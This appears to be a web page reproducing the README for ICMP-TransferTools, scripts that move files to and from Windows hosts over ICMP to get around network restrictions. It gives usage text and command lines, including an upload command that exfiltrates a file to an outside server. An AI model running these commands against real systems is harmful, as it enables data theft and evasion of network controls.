ICMP-TransferTools is a set of scripts designed to move files to and from Windows hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell client for each transfer direction (Download & Upload).
The only dependency required is Impacket for one of the python scripts. It can be installed via pip like so:
pip3 install impacket
The included ICMP-SendFile.py and Invoke-IcmpDownload.ps1 scripts can be used to download a file to a Windows host via ICMP.
The python server must be run first to stage the file for download. See below for the script’s usage:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER’S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, –help show this help message and exit
-v, –verbose Verbosely print progress
-b 1000, –block-size 1000
Size of each block (Default: 1000)
Once imported, the powershell client can then be used to download the staged file like so:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
The included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts can be used to upload/exfiltrate a file from a Windows host via ICMP.
The python server must be run first to ensure it’s ready to accept requests from the client. See below for the script’s usage:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER’S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, –help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
The jobs command is a Bash builtin that lists all background and suspended processes belonging to the…
The Linux kernel writes messages to the kernel ring buffer throughout the boot process and…
rsync over SSH combines secure encrypted transport with fast incremental transfers. Instead of copying every file…
The pstree command in Linux displays running processes in a tree structure rather than a flat list.…
The type command in Linux shows how the current shell would interpret a name typed on the…
When a Linux system is slow or behaving unexpectedly, memory is one of the first…